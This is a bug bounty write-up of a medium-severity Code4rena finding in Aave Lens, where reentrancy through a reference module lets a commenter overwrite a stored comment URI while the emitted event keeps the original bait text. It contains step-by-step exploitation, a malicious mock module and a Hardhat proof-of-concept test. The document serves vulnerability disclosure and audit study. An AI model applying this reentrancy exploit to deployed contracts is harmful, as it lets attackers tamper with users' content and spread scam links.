# Reentrancy allows commenter to overwrite own comments

Reentrancy in LensHub._createComment lets a malicious reference module re-enter comment() and overwrite the stored contentURI while the emitted event keeps the original bait content.

- Payout: Audit contest
- Severity: medium
- Program: Aave Lens
- Found by: IllIllI
- Disclosed: 2022-06-13
- Write-up quality: 7/10
- Original: https://code4rena.com/reports/2022-02-aave-lens#m-13
- Library page: http://bugbountylibrary.com/r/c4%3A2022-02-aave-lens%3AM-13
- Tags: area:web3 domain:web3 impact:integrity kind:contest platform:code4rena sev:medium tech:evm tech:solidity technique:chained technique:source-review vuln:accounting-error vuln:reentrancy

**Target:** LensHub comment creation / reference module callback
**Root cause:** _createComment calls PublishingLogic.createComment (which invokes the reference module) before incrementing _profileById[profileId].pubCount, so a reentrant comment() reuses the same pubId and overwrites the stored publication while the outer call's event already emitted the original content.
**Steps:**
1. Deploy a ReferenceModule whose processComment re-enters ILensHub.comment() with the same profileIdPointed/pubIdPointed and a malicious contentURI, guarded by a one-shot bool.
2. Create a profile and set the malicious module as dispatcher/reference module.
3. Publish a post with the malicious reference module.
4. Call `lensHub.comment({profileId, contentURI: BAIT_COMMENT, profileIdPointed, pubIdPointed, referenceModule: ZERO_ADDRESS, ...})`; the outer CommentCreated event emits BAIT_COMMENT.
5. Reentrant call writes the malware URI to the same pubId; `getPub(profileId, 3)` returns the attacker's URI, not the bait.
**How found:** Noticed pubCount is incremented after PublishingLogic.createComment, which calls out to the (attacker-influenceable) reference module, creating a reentrancy window where the same pubId is reused; built a mock module and Hardhat test to confirm event/storage divergence.
**Exploitation:** Attacker acquires a high-follower profile, posts with a malicious reference module, then publishes an engaging bait comment; victims replying to it unknowingly comment on the attacker's overwritten malicious URI, which persists permanently since publications cannot be disabled.
**Escalation:** Bait comment drives engagement so other users' comments link to the malicious URI, propagating scam/malware across profiles.
**Insight:** When a state counter is incremented after an external call to a pluggable module, the same ID can be reused on reentry — compare emitted events against post-state storage reads to detect ID-reuse divergence.

## Proof of concept (copied exactly from the original report)

**Malicious ReferenceModule reentrancy overwriting comment**

```
contract MockReferenceModule is IReferenceModule {
 function initializeReferenceModule(
 uint256 profileId,
 uint256 pubId,
 bytes calldata data
- ) external pure override returns (bytes memory) {
+ ) external override returns (bytes memory) {
 uint256 number = abi.decode(data, (uint256));
 require(number == 1, 'MockReferenceModule: invalid');
+ l = msg.sender;
 return new bytes(0);
 }
 
+ address l;
+ bool a;
 function processComment(
 uint256 profileId,
 uint256 profileIdPointed,
 uint256 pubIdPointed
- ) external override {}
+ ) external override {
+ if (a) return;
+ a = true;
+ bytes memory garbage;
+ string memory handle = "attack.eth";
+ uint256 pid = ILensHub(l).getProfileIdByHandle(handle);
+ ILensHub(l).comment(
+ DataTypes.CommentData(
+ profileId,
+ // make their comment and thus their profile link
+ // to our malicious payload
+ "https://yourCommentIsNowOnALinkToMalware.com/forever",
+ profileIdPointed,
+ pubIdPointed,
+ ILensHub(l).getCollectModule(profileIdPointed, pubIdPointed),
+ garbage,
+ address(0x0),
+ garbage
+ ));
+ }
 
 function processMirror(
```

**Test proving comment overwrite via reentrancy**

```
it('User should create a post using the mock reference module as reference module, then comment on that post', async function () {
+
+ // user acquires account and sets up the attacking profile
+ await expect(
+ lensHub.createProfile({
+ to: mockReferenceModule.address,
+ handle: "attack.eth",
+ imageURI: MOCK_PROFILE_URI,
+ followModule: ZERO_ADDRESS,
+ followModuleData: [],
+ followNFTURI: MOCK_FOLLOW_NFT_URI,
+ })
+ ).to.not.be.reverted;
+ await lensHub.setDispatcher(FIRST_PROFILE_ID, mockReferenceModule.address);
+
+ // create a post
 const data = abiCoder.encode(['uint256'], ['1']);
 await expect(
 lensHub.post({
@@ -189,22 +210,43 @@ makeSuiteCleanRoom('Publishing Comments', function () {
 })
 ).to.not.be.reverted;
 
- await expect(
+ // create extremely interesting bait comment
+ const BAIT_COMMENT = "https://somethingExtremelyInteresting.com/toGetEngagement";
+ let receipt = await waitForTx(
 lensHub.comment({
 profileId: FIRST_PROFILE_ID,
- contentURI: MOCK_URI,
+ contentURI: BAIT_COMMENT,
 collectModule: emptyCollectModule.address,
 collectModuleData: [],
 profileIdPointed: FIRST_PROFILE_ID,
 pubIdPointed: 2,
 referenceModule: ZERO_ADDRESS,
 referenceModuleData: [],
- })
- ).to.not.be.reverted;
+ },{gasLimit:12450000})
+ );
+
+ // see the bait in the emitted event...
+ matchEvent(receipt, 'CommentCreated', [
+ FIRST_PROFILE_ID,
+ 3, // pubId 3 for profile 1
+ BAIT_COMMENT, // <-- correct bait in the event
+ FIRST_PROFILE_ID,
+ 2,
+ emptyCollectModule.address,
+ [],
+ ZERO_ADDRESS,
+ [],
+ await getTimestamp(),
+ ]);
+
+ // ...but malware when read, commented, or referenced
+ let pub = await lensHub.getPub(FIRST_PROFILE_ID, 3);
+ await expect(pub.contentURI)
+ .to.equal(BAIT_COMMENT);
```

